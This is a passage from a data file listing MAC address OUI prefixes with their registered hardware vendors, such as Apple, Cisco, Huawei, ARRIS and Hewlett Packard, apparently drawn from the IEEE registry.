Solutions, Inc. 80B32A UK Grid Solutions Ltd 00111E ETHERNET Powerlink Standarization Group (EPSG) 00409D DigiBoard 001472 China Broadband Wireless IP Standard group(ChinaBWIPS) 3856B5 Peerbridge Health Inc 4006A0 Texas Instruments 001EDC Sony Mobile Communications AB 000FDE Sony Mobile Communications AB 000AD9 Sony Mobile Communications AB 644F42 JETTER CO., Ltd. 3017C8 Sony Mobile Communications AB 0023F1 Sony Mobile Communications AB 001B59 Sony Mobile Communications AB 001963 Sony Mobile Communications AB ACF85C Private A039EE Sagemcom Broadband SAS A44027 zte corporation 1C1161 Ciena Corporation 4C82CF Dish Technologies Corp F0C9D1 GD Midea Air-Conditioning Equipment Co.,Ltd. D49CF4 Palo Alto Networks 3C574F China Mobile Group Device Co.,Ltd. 506B4B Mellanox Technologies, Inc. F8C120 Xi'an Link-Science Technology Co.,Ltd 903A72 Ruckus Wireless 3CE824 HUAWEI TECHNOLOGIES CO.,LTD E8ABF3 HUAWEI TECHNOLOGIES CO.,LTD 7006AC Eastcompeace Technology Co., Ltd 506F77 HUAWEI TECHNOLOGIES CO.,LTD 609813 Shanghai Visking Digital Technology Co. LTD 8C4CAD Evoluzn Inc. A4D4B2 Shenzhen MeiG Smart Technology Co.,Ltd DCE533 IEEE Registration Authority 8CF710 AMPAK Technology, Inc. 38E1AA zte corporation 18A28A Essel-T Co., Ltd 38DEAD Intel Corporate 74E182 Texas Instruments 40BD32 Texas Instruments 3C1710 Sagemcom Broadband SAS C8FAE1 ARQ Digital LLC 80AD16 Xiaomi Communications Co Ltd 044EAF LG Innotek DCA333 Shenzhen YOUHUA Technology Co., Ltd BCDDC2 Espressif Inc. FC7C02 Phicomm (Shanghai) Co., Ltd. 88A9A7 IEEE Registration Authority F0E3DC Tecon MT, LLC 30B216 ABB AG - Power Grids - Grid Automation 00D0CE iSystem Labs 00BE75 Cisco Systems, Inc 504EDC Ping Communication 20677C Hewlett Packard Enterprise C42C4F Qingdao Hisense Mobile Communication Technology Co,Ltd 24CACB Fiberhome Telecommunication Technologies Co.,LTD 44FFBA zte corporation 0023A8 Marshall Electronics B481BF Meta-Networks, LLC 0CAE7D Texas Instruments 641CAE Samsung Electronics Co.,Ltd 4050B5 Shenzhen New Species Technology Co., Ltd. 4CD0CB HUAWEI TECHNOLOGIES CO.,LTD 38BAF8 Intel Corporate A4E975 Apple, Inc. C0A53E Apple, Inc. 9800C6 Apple, Inc. 787B8A Apple, Inc. 3866F0 Apple, Inc. 20EE28 Apple, Inc. 08F4AB Apple, Inc. 8C8590 Apple, Inc. 68EF43 Apple, Inc. CC2DB7 Apple, Inc. D4A33D Apple, Inc. E4E0A6 Apple, Inc. 70EF00 Apple, Inc. B0CA68 Apple, Inc. 9810E8 Apple, Inc. B49CDF Apple, Inc. DCA4CA Apple, Inc. 8C8FE9 Apple, Inc. 98CA33 Apple, Inc. FC253F Apple, Inc. 183451 Apple, Inc. C0847A Apple, Inc. 64200C Apple, Inc. 74E1B6 Apple, Inc. 0C771A Apple, Inc. 00F4B9 Apple, Inc. C8334B Apple, Inc. B8F6B1 Apple, Inc. C09F42 Apple, Inc. 189EFC Apple, Inc. 6C3E6D Apple, Inc. 8C2DAA Apple, Inc. E4E4AB Apple, Inc. 58404E Apple, Inc. DC0C5C Apple, Inc. 2C200B Apple, Inc. 609AC1 Apple, Inc. F07960 Apple, Inc. 9C8BA0 Apple, Inc. 28A02B Apple, Inc. B44BD2 Apple, Inc. 9C4FDA Apple, Inc. 1C5CF2 Apple, Inc. 3871DE Apple, Inc. BC5436 Apple, Inc. 5CF938 Apple, Inc. 4C3275 Apple, Inc. 2CF0A2 Apple, Inc. ECADB8 Apple, Inc. 9801A7 Apple, Inc. B48B19 Apple, Inc. E49A79 Apple, Inc. 406C8F Apple, Inc. 00C610 Apple, Inc. 70DEE2 Apple, Inc. 182032 Apple, Inc. 6CC26B Apple, Inc. 1040F3 Apple, Inc. 001D4F Apple, Inc. 001E52 Apple, Inc. 001F5B Apple, Inc. 001FF3 Apple, Inc. 0021E9 Apple, Inc. 00236C Apple, Inc. 002500 Apple, Inc. 60FB42 Apple, Inc. F81EDF Apple, Inc. 90840D Apple, Inc. D8A25E Apple, Inc. C8BCC8 Apple, Inc. 28E7CF Apple, Inc. D89E3F Apple, Inc. 040CCE Apple, Inc. A4D1D2 Apple, Inc. 7CFADF Apple, Inc. 101C0C Apple, Inc. 001124 Apple, Inc. 80C7C5 Fiberhome Telecommunication Technologies Co.,LTD FCB7F0 Idaho National Laboratory E46059 Pingtek Co., Ltd. 6C709F Apple, Inc. 0C3E9F Apple, Inc. 34E2FD Apple, Inc. 609217 Apple, Inc. 8863DF Apple, Inc. 80E650 Apple, Inc. 006171 Apple, Inc. 90FD61 Apple, Inc. 5C97F3 Apple, Inc. 6C4008 Apple, Inc. 24A074 Apple, Inc. F02475 Apple, Inc. 20A2E4 Apple, Inc. 5CF5DA Apple, Inc. 649ABE Apple, Inc. 94E96A Apple, Inc. AC293A Apple, Inc. 10417F Apple, Inc. B844D9 Apple, Inc. DC2B2A Apple, Inc. 14205E Apple, Inc. 5C1DD9 Apple, Inc. 18F1D8 Apple, Inc. F86FC1 Apple, Inc. F099B6 Apple, Inc. 907240 Apple, Inc. 0C4DE9 Apple, Inc. D89695 Apple, Inc. 0C3021 Apple, Inc. F0F61C Apple, Inc. B03495 Apple, Inc. 848E0C Apple, Inc. 949426 Apple, Inc. E0F5C6 Apple, Inc. 28E14C Apple, Inc. 54E43A Apple, Inc. C8E0EB Apple, Inc. A88808 Apple, Inc. 444C0C Apple, Inc. 84FCFE Apple, Inc. E48B7F Apple, Inc. 5C969D Apple, Inc. A8FAD8 Apple, Inc. 7014A6 Apple, Inc. A8667F Apple, Inc. D02598 Apple, Inc. CC29F5 Apple, Inc. DCD3A2 Apple, Inc. 40FC89 ARRIS Group, Inc. 002493 ARRIS Group, Inc. E46449 ARRIS Group, Inc. 745612 ARRIS Group, Inc. 74EAE8 ARRIS Group, Inc. A811FC ARRIS Group, Inc. 044E5A ARRIS Group, Inc. 94E8C5 ARRIS Group, Inc. F8A097 ARRIS Group, Inc. B0DAF9 ARRIS Group, Inc. 18B81F ARRIS Group, Inc. BC2E48 ARRIS Group, Inc. 5819F8 ARRIS Group, Inc. 2C9569 ARRIS Group, Inc. 509551 ARRIS Group, Inc. 240A63 ARRIS Group, Inc. 001E8D ARRIS Group, Inc. 00230B ARRIS Group, Inc. 001B52 ARRIS Group, Inc. 0023ED ARRIS Group, Inc. 002395 ARRIS Group, Inc. 0022B4 ARRIS Group, Inc. 002136 ARRIS Group, Inc. 0024C1 ARRIS Group, Inc. 3C754A ARRIS Group, Inc. A47AA4 ARRIS Group, Inc. 001AAD ARRIS Group, Inc. 00195E ARRIS Group, Inc. 001404 ARRIS Group, Inc. 001BDD ARRIS Group, Inc. 0023A2 ARRIS Group, Inc. BC644B ARRIS Group, Inc. 347A60 ARRIS Group, Inc. 84E058 ARRIS Group, Inc. 003676 ARRIS Group, Inc. 707E43 ARRIS Group, Inc. 1C1448 ARRIS Group, Inc. 001225 ARRIS Group, Inc. 00128A ARRIS Group, Inc. 0003E0 ARRIS Group, Inc. 70C833 Wirepas Oy E8FAF7 Guangdong Uniteddata Holding Group Co., Ltd. 9487E0 Xiaomi Communications Co Ltd C08135 Ningbo Forfan technology Co., LTD B46BFC Intel Corporate 0050C7 Private 001477 Trilliant 28EF01 Private F85C4D Nokia F82DC0 ARRIS Group, Inc. A85B6C Robert Bosch Gmbh, CM-CI2 4CEDFB ASUSTek COMPUTER INC. 585FF6 zte corporation A8E552 JUWEL Aquarium AG & Co. KG 746BAB GUANGDONG ENOK COMMUNICATION CO., LTD 08C5E1 SAMSUNG ELECTRO-MECHANICS(THAILAND) 203DBD LG Innotek B44326 HUAWEI TECHNOLOGIES CO.,LTD 24EC51 ADF Technologies Sdn Bhd D82477 Universal Electric Corporation 9C713A HUAWEI TECHNOLOGIES CO.,LTD 30A8DB Sony Mobile Communications AB 44746C Sony Mobile Communications AB 18002D Sony Mobile Communications AB 386E88 zte corporation D86CE9 Sagemcom Broadband SAS 3C81D8 Sagemcom Broadband SAS 2CE412 Sagemcom Broadband SAS 181E78 Sagemcom Broadband SAS 0037B7 Sagemcom Broadband SAS 0014BF Cisco-Linksys, LLC 8C579B Wistron Neweb Corporation B436A9 Fibocom Wireless Inc. 6416F0 HUAWEI TECHNOLOGIES CO.,LTD 48DB50 HUAWEI TECHNOLOGIES CO.,LTD 2400BA HUAWEI TECHNOLOGIES CO.,LTD 3CBB73 Shenzhen Xinguodu Technology Co., Ltd. 3CCF5B ICOMM HK LIMITED F40304 Google, Inc. 78ACC0 Hewlett Packard 3C9066 SmartRG, Inc. 00195B D-Link Corporation 000D88 D-Link Corporation 001346 D-Link Corporation 205532 Gotech International Technology Limited 002401 D-Link Corporation 1CAFF7 D-Link International B8A386 D-Link International C8D3A3 D-Link International 4419B6 Hangzhou Hikvision Digital Technology Co.,Ltd. C056E3 Hangzhou Hikvision Digital Technology Co.,Ltd. 9CEFD5 Panda Wireless, Inc. C02C7A Shenzhen Horn Audio Co.,Ltd. 88B8D0 Dongguan Koppo Electronic Co.,Ltd 38E7D8 HTC Corporation D8B377 HTC Corporation B4CEF6 HTC Corporation D40B1A HTC Corporation A08D16 HUAWEI TECHNOLOGIES CO.,LTD 601888 zte corporation 8002DF ORA Inc. D8FC38 Giantec Semiconductor Inc 2C6798 InTalTech Ltd. D0BF9C Hewlett Packard B05ADA Hewlett Packard 001083 Hewlett Packard 0001E6 Hewlett Packard C44044 RackTop Systems Inc. 3898D8 MERITECH CO.,LTD 000CF1 Intel Corporation 000E0C Intel Corporation BC0F64 Intel Corporate 6CA100 Intel Corporate 94659C Intel Corporate 1002B5 Intel Corporate 441EA1 Hewlett Packard D8D385 Hewlett Packard 18A905 Hewlett Packard 00237D Hewlett Packard 002655 Hewlett Packard 001560 Hewlett Packard 288023 Hewlett Packard 645106 Hewlett Packard 5CB901 Hewlett Packard DC4A3E Hewlett Packard 2C59E5 Hewlett Packard 9CB654 Hewlett Packard 38EAA7 Hewlett Packard E83935 Hewlett Packard 08EB74 HUMAX Co., Ltd. 6CB56B HUMAX Co., Ltd. 940937 HUMAX Co., Ltd. 403DEC HUMAX Co., Ltd. E84DD0 HUAWEI TECHNOLOGIES CO.,LTD 140467 SNK Technologies Co.,Ltd. EC5F23 Qinghai Kimascend Electronics Technology Co. Ltd. 047D50 Shenzhen Kang Ying Technology Co.Ltd. 54EFFE Fullpower Technologies, Inc. EC52DC WORLD MEDIA AND TECHNOLOGY Corp. 240995 HUAWEI TECHNOLOGIES CO.,LTD 247F3C HUAWEI TECHNOLOGIES CO.,LTD 1C8E5C HUAWEI TECHNOLOGIES CO.,LTD 94772B HUAWEI TECHNOLOGIES CO.,LTD F4E3FB HUAWEI TECHNOLOGIES CO.,LTD 04021F HUAWEI TECHNOLOGIES CO.,LTD 0034FE HUAWEI TECHNOLOGIES CO.,LTD D02DB3 HUAWEI TECHNOLOGIES CO.,LTD 086361 HUAWEI TECHNOLOGIES CO.,LTD F80113 HUAWEI TECHNOLOGIES CO.,LTD 70723C HUAWEI TECHNOLOGIES CO.,LTD 5C7D5E HUAWEI TECHNOLOGIES CO.,LTD 4C8BEF HUAWEI TECHNOLOGIES CO.,LTD 20F3A3 HUAWEI TECHNOLOGIES CO.,LTD ACE87B HUAWEI TECHNOLOGIES CO.,LTD 688F84 HUAWEI TECHNOLOGIES CO.,LTD 4CAC0A zte corporation 0026ED zte corporation 002293 zte corporation FCD733 TP-LINK TECHNOLOGIES CO.,LTD. 10A5D0 Murata Manufacturing Co., Ltd. D4C9B2 Quanergy Systems Inc E4CE02 WyreStorm Technologies Ltd 2002AF Murata Manufacturing Co., Ltd. 0026E8 Murata Manufacturing Co., Ltd. ECCB30 HUAWEI TECHNOLOGIES CO.,LTD 786A89 HUAWEI TECHNOLOGIES CO.,LTD 2008ED HUAWEI TECHNOLOGIES CO.,LTD 509F27 HUAWEI TECHNOLOGIES CO.,LTD CC96A0 HUAWEI TECHNOLOGIES CO.,LTD 54A51B HUAWEI TECHNOLOGIES CO.,LTD F4C714 HUAWEI TECHNOLOGIES CO.,LTD 286ED4 HUAWEI TECHNOLOGIES CO.,LTD 04F938 HUAWEI TECHNOLOGIES CO.,LTD FC48EF HUAWEI TECHNOLOGIES CO.,LTD 80FB06 HUAWEI TECHNOLOGIES CO.,LTD D4B110 HUAWEI TECHNOLOGIES CO.,LTD CC53B5 HUAWEI TECHNOLOGIES CO.,LTD 002127 TP-LINK TECHNOLOGIES CO.,LTD. 54E6FC TP-LINK TECHNOLOGIES CO.,LTD. D85D4C TP-LINK TECHNOLOGIES CO.,LTD. F81A67 TP-LINK TECHNOLOGIES CO.,LTD. F0F336 TP-LINK TECHNOLOGIES CO.,LTD. 44B32D TP-LINK TECHNOLOGIES CO.,LTD. F07816 Cisco Systems, Inc 001310 Cisco-Linksys, LLC 0023BE Cisco SPVTG 54D46F Cisco SPVTG 24374C Cisco SPVTG BCC810 Cisco SPVTG 484487 Cisco SPVTG 445829 Cisco SPVTG 481D70 Cisco SPVTG 00214F ALPS ELECTRIC CO.,LTD. 00E036 PIONEER CORPORATION E0AE5E ALPS ELECTRIC CO.,LTD. 34C731 ALPS ELECTRIC CO.,LTD. 60380E ALPS ELECTRIC CO.,LTD. 64D4BD ALPS ELECTRIC CO.,LTD. 00000C Cisco Systems, Inc 004096 Cisco Systems, Inc 30F70D Cisco Systems, Inc B07D47 Cisco Systems, Inc D8B190 Cisco Systems, Inc F0B2E5 Cisco Systems, Inc 188B9D Cisco Systems, Inc 38ED18 Cisco Systems, Inc ECBD1D Cisco Systems, Inc DCCEC1 Cisco Systems, Inc 84B261 Cisco Systems, Inc 70E422 Cisco Systems, Inc 0050BD Cisco Systems, Inc 009086 Cisco Systems, Inc 005054 Cisco Systems, Inc 3C0E23 Cisco Systems, Inc 90E6BA ASUSTek COMPUTER INC. BCAEC5 ASUSTek COMPUTER INC. 10BF48 ASUSTek COMPUTER INC. A80C0D Cisco Systems, Inc B83861 Cisco Systems, Inc 6C9989 Cisco Systems, Inc 580A20 Cisco Systems, Inc 0050D1 Cisco Systems, Inc 00500B Cisco Systems, Inc 005073 Cisco Systems, Inc 00603E Cisco Systems, Inc 00E034 Cisco Systems, Inc 001868 Cisco SPVTG 887556 Cisco Systems, Inc 60735C Cisco Systems, Inc FC9947 Cisco Systems, Inc 00E16D Cisco Systems, Inc F8C288 Cisco Systems, Inc E0ACF1 Cisco Systems, Inc FC5B39 Cisco Systems, Inc 346F90 Cisco Systems, Inc E0D173 Cisco Systems, Inc 74A02F Cisco Systems, Inc 547C69 Cisco Systems, Inc 689CE2 Cisco Systems, Inc 40A6E8 Cisco Systems, Inc 6C2056 Cisco Systems, Inc BC1665 Cisco Systems, Inc 44ADD9 Cisco Systems, Inc 0C2724 Cisco Systems, Inc 6C416A Cisco Systems, Inc F872EA Cisco Systems, Inc 0C6803 Cisco Systems, Inc 2857BE Hangzhou Hikvision Digital Technology Co.,Ltd. 50D59C Thai Habel Industrial Co., Ltd. FCA386 SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD F0F249 Hitron Technologies. Inc CCE0C3 Mangstor, Inc. 84A423 Sagemcom Broadband SAS 346987 zte corporation 58685D Tempo Australia Pty Ltd 789C85 August Home, Inc. FCCF43 HUIZHOU CITY HUIYANG DISTRICT MEISIQI INDUSTRY DEVELOPMENT CO,.LTD 5882A8 Microsoft B4EF04 DAIHAN Scientific Co., Ltd. 049645 WUXI SKY CHIP INTERCONNECTION TECHNOLOGY CO.,LTD. C8C2C6 Shanghai Airm2m Communication Technology Co., Ltd EC64E7 MOCACARE Corporation D07C2D Leie IOT technology Co., Ltd 40862E JDM MOBILE INTERNET SOLUTION CO., LTD. EC388F HUAWEI TECHNOLOGIES CO.,LTD BC9C31 HUAWEI TECHNOLOGIES CO.,LTD 90C99B Recore Systems 5CB559 CNEX Labs 5CCF7F Espressif Inc. 380546 Foctek Photonics, Inc. 6858C5 ZF TRW Automotive 044169 GoPro ACC51B Zhuhai Pantum Electronics Co., Ltd. E80734 Champion Optical Network Engineering, LLC 6CEBB2 Dongguan Sen DongLv Electronics Co.,Ltd A03299 Lenovo (Beijing) Co., Ltd. A845CD Siselectron Technology LTD. D0C193 SKYBELL, INC E435C8 HUAWEI TECHNOLOGIES CO.,LTD D47208 Bragi GmbH 489A42 Technomate Ltd B49D0B BQ 98CB27 Galore Networks Pvt. Ltd. 30D32D devolo AG CC794A BLU Products Inc. 60FD56 WOORISYSTEMS CO., Ltd 483974 Proware Technologies Co., Ltd. E855B4 SAI Technology Inc. 9CA69D Whaley Technology Co.Ltd 342606 CarePredict, Inc. B4AE2B Microsoft 80EB77 Wistron Corporation B88981 Chengdu InnoThings Technology Co., Ltd. B4293D Shenzhen Urovo Technology Co.,Ltd. 906FA9 NANJING PUTIAN TELECOMMUNICATIONS TECHNOLOGY CO.,LTD. 14B370 Gigaset Digital Technology (Shenzhen) Co., Ltd. FC2FEF UTT Technologies Co., Ltd. EC21E5 Toshiba 44FDA3 Everysight LTD. 84D4C8 Widex A/S 247260 IOTTECH Corp 44975A SHENZHEN FAST TECHNOLOGIES CO.,LTD F8BF09 HUAWEI TECHNOLOGIES CO.,LTD B4B265 DAEHO I&T 081FEB BinCube 785F4C Argox Information Co., Ltd. 5870C6 Shanghai Xiaoyi Technology Co., Ltd. 803B2A ABB Xiamen Low Voltage Equipment Co.,Ltd. A0A65C Supercomputing Systems AG 5CB395 HUAWEI TECHNOLOGIES CO.,LTD C412F5 D-Link International 44F436 zte corporation 349B5B Maquet GmbH E861BE Melec Inc. 54B80A D-Link International D8ADDD Sonavation, Inc. C09A71 XIAMEN MEITU MOBILE TECHNOLOGY CO.LTD 340B40 MIOS ELETTRONICA SRL D05C7A Sartura d.o.o. 9C37F4 HUAWEI TECHNOLOGIES CO.,LTD 5CEB68 Cheerstar Technology Co., Ltd F46A92 SHENZHEN FAST TECHNOLOGIES CO.,LTD 14AEDB VTech Telecommunications Ltd. B8C3BF Henan Chengshi NetWork Technology Co.,Ltd C0EE40 Laird Technologies F0182B LG Chem CC5FBF Topwise 3G Communication Co., Ltd. 14DDA9 ASUSTek COMPUTER INC. 485D36 Verizon EC60E0 AVI-ON LABS 145A83 Logi-D inc 4CEEB0 SHC Netzwerktechnik GmbH 188EF9 G2C Co. Ltd. F4E9D4 QLogic Corporation 1422DB eero inc. 0C413E Microsoft Corporation 007E56 China Dragon Technology Limited 086266 ASUSTek COMPUTER INC. 346C0F Pramod Telecom Pvt. Ltd 3C912B Vexata Inc 54369B 1Verge Internet Technology (Beijing) Co., Ltd. E4FED9 EDMI Europe Ltd 2852E0 Layon international Electronic & Telecom Co.,Ltd E48501 Geberit International AG 1C3947 COMPAL INFORMATION (KUNSHAN) CO., LTD. 2CAD13 SHENZHEN ZHILU TECHNOLOGY CO.,LTD 68B983 b-plus GmbH BC74D7 HangZhou JuRu Technology CO.,LTD E88E60 NSD Corporation 545146 AMG Systems Ltd. 84DDB7 Cilag GmbH International 78EB14 SHENZHEN FAST TECHNOLOGIES CO.,LTD D05BA8 zte corporation 8CE78C DK Networks E4BAD9 360 Fly Inc. 7C3CB6 Shenzhen Homecare Technology Co.,Ltd. BCE767 QuanzhouTDX Electronics Co., Ltd 6CA7FA YOUNGBO ENGINEERING INC. D0929E Microsoft Corporation F4032F Reduxio Systems 84CFBF Fairphone AC9E17 ASUSTek COMPUTER INC. ACC73F VITSMO CO., LTD. 18BDAD L-TECH CORPORATION 10C07C Blu-ray Disc Association B87879 Roche Diagnostics GmbH 4480EB Motorola Mobility LLC, a Lenovo Company D06F4A TOPWELL INTERNATIONAL HOLDINGS LIMITED BC54F9 Drogoo Technology Co., Ltd. 349E34 Evervictory Electronic Co.Ltd A0C2DE Costar Video Systems 3809A4 Firefly Integrations 00A509 WigWag Inc. A86405 nimbus 9, Inc 7076FF KERLINK 68F0BC Shenzhen LiWiFi Technology Co., Ltd BCD165 Cisco SPVTG 4CA928 Insensi 2884FA SHARP Corporation 3C1E04 D-Link International E0FFF7 Softiron Inc. DC60A1 Teledyne DALSA Professional Imaging 78E980 RainUs Co.,Ltd 7C8274 Shenzhen Hikeen Technology CO.,LTD B40566 SP Best Corporation Co., LTD. 70AD54 Malvern Instruments Ltd DCE026 Patrol Tag, Inc EC3C88 MCNEX Co.,Ltd. F07959 ASUSTek COMPUTER INC. E08E3C Aztech Electronics Pte Ltd 78A351 SHENZHEN ZHIBOTONG ELECTRONICS CO.,LTD 94E2FD Boge Kompressoren OTTO Boge GmbH & Co. KG E4695A Dictum Health, Inc. D46132 Pro Concept Manufacturer Co.,Ltd. 54A050 ASUSTek COMPUTER INC. 841826 Osram GmbH 14F893 Wuhan FiberHome Digital Technology Co.,Ltd. 9816EC IC Intracom DCDA4F GETCK TECHNOLOGY,INC 30FAB7 Tunai Creative 0809B6 Masimo Corp 14EDE4 Kaiam Corporation 3438AF Inlab Software GmbH 049B9C EadingcoreIntelligent Technology Co., Ltd. 842690 BEIJING THOUGHT SCIENCE CO.,LTD. B84FD5 Microsoft Corporation 587BE9 AirPro Technology India Pvt. Ltd FC1D84 Autobase 4CE933 RailComm, LLC 6050C1 Kinetek Sports 003560 Rosen Aviation EC59E7 Microsoft Corporation 08EFAB SAYME WIRELESS SENSOR NETWORK C81B6B Innova Security 5C966A RTNET 2C5089 Shenzhen Kaixuan Visual Technology Co.,Limited EC13B2 Netonix 74BADB Longconn Electornics(shenzhen)Co.,Ltd 4C7403 BQ 5876C5 DIGI I'S LTD 00A2F5 Guangzhou Yuanyun Network Technology Co.,Ltd 70FC8C OneAccess SA 902CC7 C-MAX Asia Limited 188219 Alibaba Cloud Computing Ltd. B41780 DTI Group Ltd D437D7 zte corporation AC3870 Lenovo Mobile Communication Technology Ltd. 80EACA Dialog Semiconductor Hellas SA 4CBC42 Shenzhen Hangsheng Electronics Co.,Ltd. 987E46 Emizon Networks Limited 8432EA ANHUI WANZTEN P&T CO., LTD 90B686 Murata Manufacturing Co., Ltd. 4C6E6E Comnect Technology CO.,LTD F4DD9E GoPro 40B3CD Chiyoda Electronics Co.,Ltd. 3451AA JID GLOBAL 04572F Sertel Electronics UK Ltd 08B2A3 Cynny Italia S.r.L. D8977C Grey Innovation 80AD67 Kasda Networks Inc 30595B streamnow AG B8AD3E BLUECOM 10C37B ASUSTek COMPUTER INC. 48D855 Telvent 284ED7 OutSmart Power Systems, Inc. 5C5BC2 YIK Corporation EC8A4C zte corporation 8014A8 Guangzhou V-SOLUTION Electronic Technology Co., Ltd. 908C63 GZ Weedong Networks Technology Co. , Ltd B49EAC Imagik Int'l Corp C8E42F Technical Research Design and Development FC2325 EosTek (Shenzhen) Co., Ltd. A81374 Panasonic Corporation AVC Networks Company 4C83DE Cisco SPVTG 5CB6CC NovaComm Technologies Inc. B4AE6F Circle Reliance, Inc DBA Cranberry Networks B89919 7signal Solutions, Inc 90DA6A FOCUS H&S Co., Ltd. A45DA1 ADB Broadband Italia E8EF89 OPMEX Tech. F4C447 Coagent International Enterprise Limited 08DF1F Bose Corporation 542AA2 Alpha Networks Inc. 84948C Hitron Technologies. Inc CCA0E5 DZG Metering GmbH 3059B7 Microsoft 0874F6 Winterhalter Gastronom GmbH FCC2DE Murata Manufacturing Co., Ltd. 1C1CFD Dalian Hi-Think Computer Technology, Corp 7062B8 D-Link International B875C0 PayPal, Inc. E47FB2 FUJITSU LIMITED 38262B UTran Technology 20ED74 Ability enterprise co.,Ltd. 7824AF ASUSTek COMPUTER INC. 0CAC05 Unitend Technologies Inc. B4B859 Texa Spa 045C8E gosund GROUP CO.,LTD 54B753 Hunan Fenghui Yinjia Science And Technology Co.,Ltd 4826E8 Tek-Air Systems, Inc. A012DB TABUCHI ELECTRIC CO.,LTD ACB859 Uniband Electronic Corp, 100F18 Fu Gang Electronic(KunShan)CO.,LTD C8D590 FLIGHT DATA SYSTEMS 709383 Intelligent Optical Network High Tech CO.,LTD. 6047D4 FORICS Electronic Technology Co., Ltd. C09D26 Topicon HK Lmd. B061C7 Ericsson-LG Enterprise B05706 Vallox Oy C8D429 Muehlbauer AG 20EAC7 SHENZHEN RIOPINE ELECTRONICS CO., LTD 80618F Shenzhen sangfei consumer communications co.,ltd 5CF50D Institute of microelectronic applications 10DEE4 automationNEXT GmbH 444891 HDMI Licensing, LLC FC923B Nokia Corporation 38F708 National Resource Management, Inc. C4C919 Energy Imports Ltd 88A73C Ragentek Technology Group B0D7C5 Logipix Ltd BC1A67 YF Technology Co., Ltd B024F3 Progeny Systems 8C4DB9 Unmonday Ltd D87CDD SANIX INCORPORATED F8A2B4 RHEWA-WAAGENFABRIK August Freudewald GmbH &Co. KG 84FE9E RTC Industries, Inc. 403067 Conlog (Pty) Ltd 98DA92 Vuzix Corporation 5C2AEF Open Access Pty Ltd E40439 TomTom Software Ltd 90AE1B TP-LINK TECHNOLOGIES CO.,LTD. 441E91 ARVIDA Intelligent Electronics TechnologyCo.,Ltd. 6C14F7 Erhardt+Leimer GmbH CC07E4 Lenovo Mobile Communication Technology Ltd. B4430D Broadlink Pty Ltd A4BBAF Lime Instruments 7CE1FF Computer Performance, Inc. DBA Digital Loggers, Inc. D069D0 Verto Medical Solutions, LLC ACE069 ISAAC Instruments E8EA6A StarTech.com C4E984 TP-LINK TECHNOLOGIES CO.,LTD. 8059FD Noviga 18FF2E Shenzhen Rui Ying Da Technology Co., Ltd 1CAB01 Innovolt 68856A OuterLink Corporation 30F42F ESP 746A8F VS Vision Systems GmbH B068B6 Hangzhou OYE Technology Co. Ltd 9C65F9 AcSiP Technology Corp. 487604 Private D057A1 Werma Signaltechnik GmbH & Co. KG 3C89A6 KAPELSE 90F1B0 Hangzhou Anheng Info&Tech CO.,LTD 9C86DA Phoenix Geophysics Ltd. 48FEEA HOMA B.V. 10DDF4 Maxway Electronics CO.,LTD 080371 KRG CORPORATE ACC595 Graphite Systems 3413A8 Mediplan Limited 4CD9C4 Magneti Marelli Automotive Electronics (Guangzhou) Co. Ltd 743ECB Gentrice tech 7071B3 Brain Corporation 208986 zte corporation 3CD4D6 WirelessWERX, Inc 64E625 Woxu Wireless Co., Ltd 7C444C Entertainment Solutions, S.L. 501AC5 Microsoft 609620 Private F8572E Core Brands, LLC E0E631 SNB TECHNOLOGIES LIMITED 20C60D Shanghai annijie Information technology Co.,LTD 7C9763 Openmatics s.r.o. 0444A1 TELECON GALICIA,S.A. 84569C Coho Data, Inc., 78AE0C Far South Networks 38CA97 Contour Design LLC 84A783 Alcatel Lucent 1CC11A Wavetronix 4CF02E Vifa Denmark A/S 3051F8 BYK-Gardner GmbH 94C3E4 SCA Schucker Gmbh & Co KG FC19D0 Cloud Vision Networks Technology Co.,Ltd. 20E791 Siemens Healthcare Diagnostics, Inc D4D919 GoPro A49F89 Shanghai Rui Rui Communication Technology Co.Ltd. D850E6 ASUSTek COMPUTER INC. 94103E Belkin International Inc. B4750E Belkin International Inc. 346178 The Boeing Company 187ED5 shenzhen kaism technology Co. Ltd 841B38 Shenzhen Excelsecu Data Technology Co.,Ltd EC2AF0 Ypsomed AG 044F8B Adapteva, Inc. 9CE7BD Winduskorea co., Ltd A0BF50 S.C. ADD-PRODUCTION S.R.L. 7CB733 ASKEY COMPUTER CORP 705957 Medallion Instrumentation Systems 6C8366 Nanjing SAC Power Grid Automation Co., Ltd. 88576D XTA Electronics Ltd F83D4E Softlink Automation System Co., Ltd FCD817 Beijing Hesun Technologies Co.Ltd. 909F43 Accutron Instruments Inc. 50C006 Carmanah Signs 98FB12 Grand Electronics (HK) Ltd 3C1040 daesung network B04545 YACOUB Automation GmbH 701D7F Comtech Technology Co., Ltd. 60DB2A HNS 7CBF88 Mobilicom LTD 90028A Shenzhen Shidean Legrand Electronic Products Co.,Ltd 90356E Vodafone Omnitel N.V. 3CCA87 Iders Incorporated 08CA45 Toyou Feiji Electronics Co., Ltd. 9CA9E4 zte corporation E47723 zte corporation C098E5 University of Michigan B8DF6B SpotCam Co., Ltd. 742B62 FUJITSU LIMITED 58BDF9 Sigrand 344F3F IO-Power Technology Co., Ltd. C0C687 Cisco SPVTG 142BD2 Armtel Ltd. 54A54B NSC Communications Siberia Ltd BC2B6B Beijing Haier IC Design Co.,Ltd 642184 Nippon Denki Kagaku Co.,LTD EC3E09 PERFORMANCE DESIGNED PRODUCTS, LLC EC219F VidaBox LLC 98D331 Shenzhen Bolutek Technology Co.,Ltd. 3C1A57 Cardiopulmonary Corp 6CF97C Nanoptix Inc. 58E02C Micro Technic A/S E481B3 Shenzhen ACT Industrial Co.,Ltd. E4F3E3 Shanghai iComhome Co.,Ltd. 04CF25 MANYCOLORS, INC. D41090 iNFORM Systems AG 3495DB Logitec Corporation 88142B Protonic Holland B8241A SWEDA INFORMATICA LTDA 3806B4 A.D.C. GmbH 341B22 Grandbeing Technology Co., Ltd B4346C MATSUNICHI DIGITAL TECHNOLOGY (HONG KONG) LIMITED 9C1465 Edata Elektronik San. ve Tic. A.Ş. 587A4D Stonesoft Corporation E89218 Arcontia International AB 58F387 HCCP B0793C Revolv Inc 20CEC4 Peraso Technologies 700FEC Poindus Systems Corp. 78D5B5 NAVIELEKTRO KY E067B3 C-Data Technology Co., Ltd B887A8 Step Ahead Innovations Inc. 140D4F Flextronics International B847C6 SanJet Technology Corp. 4CDF3D TEAM ENGINEERS ADVANCE TECHNOLOGIES INDIA PVT LTD 70F176 Data Modul AG 205721 Salix Technology CO., Ltd. 704CED TMRG, Inc. E8516E TSMART Inc. 7C1AFC Dalian Co-Edifice Video Technology Co., Ltd C034B4 Gigastone Corporation 74ADB7 China Mobile 